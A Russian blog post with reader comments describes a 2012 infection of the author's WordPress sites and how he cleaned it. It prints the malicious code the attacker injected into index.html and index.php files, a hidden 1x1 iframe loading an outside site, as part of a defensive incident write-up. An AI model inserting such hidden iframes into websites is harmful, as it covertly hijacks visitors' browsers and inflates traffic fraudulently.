6 декабря 2012 мой блог и другие мои сайты на том же хостинге подверглись вирусной атаке. В результате блог стал нерабочим и я его восстанавливал в течение 1 ночи.
Посколько блог в основном некоммерческий, то мне тем более неприятно тратить время не на собственно написание статей, а на борьбу с вирусами.
Потому я решил воспользоваться своим «оружием» и написать на эту тему статью, чтобы другим было легче бороться с этим вирусом и они могли повысить безопасность своей системы.
Итак...
«Вношу свои 2 копейки» в борьбу в вирусописателями и спамораспространителями
Бесплатная CMS WordPress плюсы и минусы
Плюсы WordPress
Вордпресс по данным Яндекса занимает лидирующие позиции среди бесплатных CMS по распространенности (Content Management System, Система Управления Данными).
Есть разные мнения почему ситуация такова, но поскольку блог мой, то я выскажу своё мнение, как в бывшем и программиста и сайтостроителя.
Всё дело в простоте. Вордпресс ставится максимально просто. Буквально в один клик мыши. Это большой плюс WordPress.
Если вы посмотрите на вторую диаграмму Яндекса, то увидите, что несмотря на бОльшую распространенность WordPress, эта система не лидер среди зараженных сайтов, а очень даже неплохо построена в плане безопасности. Другое дело, что «кто ищет — тот всегда найдет». И потому пока есть спрос на взлом этой CMS, отыскиваются и решения.
Особенно это касается популярных сайтов, но вобщем-то взломщики не чураются и личных небольших блогов и вообще не очень разборчивы.
Другой плюс WordPress в большом количестве бесплатных плагинов на любой вкус. Сделать можно почти все с помощью плагинов или докупить — дописать любые необходимые.
Третий плюс и он касается в частности безопасности — частые обновления системы. Если вы регулярно обновляете движок WordPress, то вероятность вашего взлома сильно уменьшается, так как разработчики оперативно «латают дыры» в движке. Это не 100% защита, но мы всегда оперируем вероятностями в реальном мире.
Минусы WordPress
Все популярные системы как сладкий десерт для взломщиков. Чем популярнее, тем лучше. В частности, потому так много вирусов для Windows и мало, скажем, для MacOS.
БОльшая часть вирусописателей стимулируется возможным размахом проекта или денежным стимулом. Потому так интересно сломать сразу десятки тысяч сайтов, а не 1шт.
Значит самая популярная система под наибольшим ударом. Как всегда решение простое — пишите свою систему сами и вряд кто станет возиться с вашей уникальной системой. Им просто будет жалко своего времени взламывать один конкретный сайт.
Еще раз: взломщики берут размах сразу на десятки тысяч сайтов. Почему — читайте ниже.
Второй минус системы — в её плюсе. Обратная сторона большого количества плагинов — возможность встраивания в них вредоносного кода. Надо сказать, разработчики WordPress убирают из репозитория те зараженные плагины, которые находят или на которые есть жалобы. Даже если в них встроен просто рекламный код, который не объявлен явно или зашифрован.
Тем не менее такие плагины редко, но встречаются и они получают доступ ко всей вашей системе.
Третий минус в набивании системы плагинами и снижении скорости движка из-за этого. Система WordPress очень гибкая, но у нее еще нет массы настроек. Все предусмотреть сложно и такие вещи как где загружать плагин она оставляет на совести разработчиков плагинов. А те особо не заморачиваются и загружают свой плагин просто везде. На каждой странице и записи. Потому если вы посмотрите любую страницу своего сайта/блога, то увидите, что его страницы уже набиты подрузкой java-скриптов и стилей, которые не нужны на конкретно этой странице. Все это существенно тормозит систему.
Если к вам встраивается вирус, то он задействует еще сторонние ресурсы и скорость падает еще больше.
Зачем злоумышленникам ломать ваш блог/сайт
Вы думаете, что вы не настолько значительны, что на вас просто не обратят внимание. Но дело в том, что тот кто вас будет ломать тоже не гуру хакерства, а вполне обычный хакер-неудачник, который не смог себя пристроить в области созидания полезного программного продукта. Пентагон ему тоже не дался. Потому он пытается сам себе доказать, что он не настолько плох и может испортить несколько десятков тысяч вполне себе беззащитных блогов. Тем более это принесет какие-то деньги. А ведь именно такие и ломают. Ситуация как с автомобилями. Скорее сломают посещаемый и плохозащищенный сайт, нежели малопосещаемый, но хорошо защищенный.
Итак, какую пользу может извлечь злоумышленник из взламывания вашего сайта? Первую и очевидную (поскольку он по-совместительству псевдо-SEO-оптимизатор) это накрутка счетчика стороннего ресурса. А как еще вы думали выводят сайты в топ10 Яндекса 20-летние оптимизаторы? Вы же не думали, что у сайта вашей небольшой фирмы столько заинтересованных посетителей? И как, опять же, вы думали выводят в топ10 почти любого? Неужели вы думаете, что потребилем одинаково супер-интересны любые товары?
Заказывая такую услугу, нужно понимать, что вам только пустят пыль в глаза. Вся идея в том, что в захваченные блоги и сайты, подконтрольные взломщику, встраивается код, который в окошке 1×1 пиксель (его не видно) загружает ваш сайт. Оттого счетчик вашего сайта взлетает на неимоверную высоту. Яндекс видит, что на вас ссылаются со всех уважаемых популярных сайтов со всех их страниц и тоже выводит вас в первые строчки. А на самом деле люди приходящие на популярные сайты само собой даже никогда не увидят ваш сайт.
Потому деньги вы заплатите «за воздух». За эфимерных поситителей, которых на самом деле никогда не было.
Ну и вложите свои средства в развитие этой подпольной индустрии. Глядишь в скором будущем сами будете взломаны и использованы для накрутки счетчика другой небольшой фирмы.
Вторая причина взлома — размещение рекламы. Почти всегда, если вас взломали и у вас есть уникальные статьи или бесплатный софт — у вас это скачают. Они часто сливают базы с помощью специальных скриптов наподобие mysql dumper и подобных. Такими можно слить базу в течение пары минут.
После этого взломщик устанавливает вордпресс на свой хостинг и закачивает вашу базу с кучей ценных статей. К нему цепляет платную рекламу и собирает небольшие деньги. А ему и не нужно быть заметным. Он берёт своё числом взломанных сайтов.
При количестве взломанных сайтов, исчисляющихся десятками тысяч на одного взломщика, доход может быть весьма значительный. Это еще покруче стоковой фотографии. Вот только продукт делает не он сам, а крадёт у других. Пример для фотографов — представьте, что вы крадёте (не дай бог) фотографии известных и популярных фотографов и продаёте их на стоках. Правда проще, чем самому снимать?
Но это не этично и противозаконно.
Этичность и законность взлома
Законность взлома сайта
В нашем мире есть масса средств пополнить свой карман. От простых до сложных. От этичных до не этичных.
Планку порядочности и способ заработка каждый выбирает себе сам.
Осуждать конкретный способ может или общество или отдельный человек (что субъективно).
Государство — машина неповоротливая и часто прыгает из крайности в крайность. Чаще в крайности запретов всего и вся, если мы говорим о нашей Родине.
Но при некоторых живодерских методах защиты корпоративной собственности оно почти не принимает участия в защите частной некоммерческой собственности. Какая ему с этого выгода?
Гораздо выгоднее защищать кинокомпании и майкрософт. Это и понятно. На выгоде строится весь современный мир. Но на самом деле далеко не весь, как бы это не пропагандировало само государство.
Итак, считайте, что для вас законов о защите вашего сайта нет и быть не может. Пока не разбогатеете.
Этичность взлома сайта
Этично воровать карманные деньги у детей? Этично у старушек отнимать пенсии?
Каждый для себя решает вопрос такой сам в меру своей порядочности.
Если ты такой хороший хакер, помоги стране, взломай что-то существенное... сам знаешь что.
Людей, которые работают за еду или очень дешево, в США называют bottomfeeder'ы (по-нашему «питающиеся со дна»).
Зачем им уподобляться?
Что это за традиция ломать личные блоги и некоммерческие проекты?
Я не очумелый сторонник авторского права, понимаю «пиратов». Но одно дело, когда ты имеешь дело с гигантскими корпорациями и другое дело, когда ты создаешь проблемы конкретным отдельным людям. А тем более проблемы с доступом к свободной и бесплатной инфомации. Ты еще Википедию сломай, вот там-то «золотое дно».
Про конкретный вирус и как его лечить
Признаки взлома
Прошу обратить внимание, что признаки актуальны для текущей версии вируса. Его могут впоследствии улучшить.
Во-первых на ipad сбилась кодировка и стала лезть абракадара, вкупе с ошибками запросов mysql.
На большой компьтере все выглядело менее заметно — просто над шапкой сайта вылезала одна ошибка mysql, но зато с запросом на вражеский сайт.
На хостинге в корне обнаружилась папка mysql_dumps с базами mysql, которые злоумышленник слил.
По ошибке запроса я обнаружил степень поражения — полная. Все файлы index.php, home.php и index.html моего хостинга.
Кстати, не забудьте сменить пароль FTP сразу, как обнаружите заразу и заблокировать сайт простой записью в файле .htaccess:
Deny from all
Будьте уверены, бдительный Гугл уже поставил вам статус «Вредоносный сайт» и разослал уведомления во все известные антивирусы.
История взлома
Итак, вирус проник скорее всего с помощью кражи моего фтп-пароля. Значит он сначала заразил мой компьютер и отослал мой фтп-пароль злоумышленнику.
Такой вывод я делаю из того, что злоумышленник слил _все_ базы со всех блогов WordPress моего хостинга.
После чего особо не разбираясь он прогнал скрипт по блогам, встроив во все Html файлы index.html такой код:
Код для Html
<html><body onload = "<iframe name=;<iframe name="SagUTeXYne" src="http://zaragaz.ru/kvas.php" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe>"SagUTeXYne" src="http://zaragaz.ru/kvas.php" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe>"</body></html>
Для PHP файлов блога index.php и home.php он приберёг чуть другой код.
Код для Php
<iframe name="SagUTeXYne" src="http://zaragaz.ru/kvas.php" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe>
Что делает вирусный код
Этот код грузит чужой сайт в невидимом окне 1×1пикс, накручивая ему счетчик. Как видите, на этот раз это сайт zaragaz.ru (не ходите туда, не накручивайте дополнительно им счетчик. и мало ли что там еще есть из «подарков»), но мог быть и любой другой. Я посмотрел по поиску — он рекламирует таким способом многие небольшие сайты. Дурит им голову.
Как лечить ваш блог WordPress от этой заразы
Есть скрипт, написанный на PHP (сначала я хотел сам написать, но по поиску нашлось готовое решение), который ходит рекурсивно по директориям и ищет указанный код. Код этот аккуратно вырезает.
В моём случае было около 60 зараженных файлов в разных директориях, так что вручную чистить я бы замучился.
Можно было скачать к себе на компьютер и чистить здесь, но скриптом намного проще, без скачивания.
Я разделил код на 2 файла, тк в Html и Php файлах немного разные вставки. Один скрипт идёт только по html файлам рекурсивно и ищет один код, а другой идёт только по php и ищет другой код.
Можно было дописать, чтобы работало из одного файла, ну да ладно. Кому надо — допишет сам.
Код лечения для Html
[download id=85]
Код лечения для Php
[download id=86]
Ключевым показетелем заражения данным вирусом будет наличие кода с iframe и ссылкой на чужой сайт в файлах, как я описал выше.
Свой конкретный код (у вас скорее всего будет ссылка на другой сайт, другого его клиента) вы можете легко поменять в коде скрипта — там все очень понятно.
Кидаете оба скрипта в корень вашего блога в запускаете:
http://вашсайт/delvir-html.php
http://вашсайт/delvir-php.php
Скрипты отработают бысто, выдадут на экран список файлов по которым прошлись. В самом конце будет написано сколько зараженных файлов вылечено.
Итог
Несмотря на то, что полностью защищенным считать себя нельзя никогда, все-таки рекомендую обновить ваш движок вордресс до последней версии и обновить вашу тему до последней версии. Там меньше всего будет дырок для узлоумышленника. И не будьте столь неосмотрительны как я — держите антивирус постоянно включенным. Мне помогал Dr.Web, я но я его выгружаю, чтобы не тормозил компьютер. На этот раз все последствия не исправить тк никто уже мне базу не вернет. Теперь она в руках вредителя. И никто не даст гарантии, что он не растиражировал её тысячей экземпляров и не снижает таким образом рейтинг моего блога, набивая себе карман.
Также полезная анти-троянская программа Malwarebytes' Anti-Malware.
Есть еще куча правил как поддерживать безопасность на своём блоге, но это я оставлю настоящим админам.
Мой вывод — лучше иметь свою уникальную систему. Этот вывод подтверждался неоднократно. Но это долго или относительно дорого, если заказывать.
Кстати, хороший пример качественной системы написанной для конкретного проекта — http://lens-club.ru
И быстрая и смотрю не особо страдает от вирусов, хотя и весьма посещаема.
Так что желаю вам написать систему для своих личных нужд!
И удачных вам безвирусных сайтов! :) А мой блог продолжил пока работать в штатном режиме.
Если в ближайшие дни будут какие-то небольшие сбои с плагинами, знайте, я работаю над безопасностью для нашего общего блага.
Евтифеев Дмитрий
Сам в начале этого года (февраль—март) столкнулся с подобной проблемой. Причиной стала утечка ФТП логинов/паролей у хостера. В итоге почти все php файлы были заражены. Хорошо, что хостер не умолчал о проблеме и написал о ней в письме, попросив как можно быстрее сменить фтп-пароль. Кроме этого, хостер самостоятельно вылечил все файлы, создав переименованные копии зараженных.
Я отметил небольшую интересную особенность — пострадали только Html и Php. Мои сайты на Perl вирус не тронул (а раньше бывало). Так что все опять же упирается в популярность системы и языка программирования на котором она написана.
Вам повезло с хостером. Меня только сразу банят, как вирус ловлю.
Спасибо за статью. Я каждый день сталкиваюсь с подобным, при чем мою некоммерческую Радоживку еще хуже — ддосят, от чего сайт простаивает по 2-3 дня. Вчера досили, либо просто выкачивали сайт, из-за чего нагрузка на сервак составила 620% и сайт просто вырубили.
У вас, Аркадий, посещаемость больше, потому ваша база еще более лакомый кусочек (если они её еще не слили). Надо искать какую-то защиту...Может по IP банить таких «грузчиков» и «взломщиков»
айпи блокирую, но я не могу за компьютером проводить все время, а хостер зарядил за авто фильтрацию 150 у.е. в месяц.
Да... 150 это как-то много.
Это проблема некоммерческих проектов — в них все равно нужно вкладывать. Чем больше посещаемость ресурса — тем больше вкладывать.
Потому я рекламы немного вставил. Хоть хостинг немного окупит.
Аркадий, Дмитрий, здравствуйте,
Как раз читал пару дней назад статью по вопросу Ддоса и завтоматической защиты.
Надеюсь будет полезна и моя копеечка, т.к. блог читаю с интересом. :)
Миша, спасибо за ссылку! я почитал. К сожалению, не настолько продвинутый админ, чтобы это использовать. Потом мой блог хостится не на личном сервере, а на VDS.
m.habrahabr.ru/post/176119/
Movable Type очень надежная CMS. Она пишется не общественностью, а компанией и серьезно тестируется на баги.
Спасибо за совет, но CMS все тестируются. А преимущества в написании CMS компанией большого не вижу, если я не корпоративный клиент, а «мелкая сошка».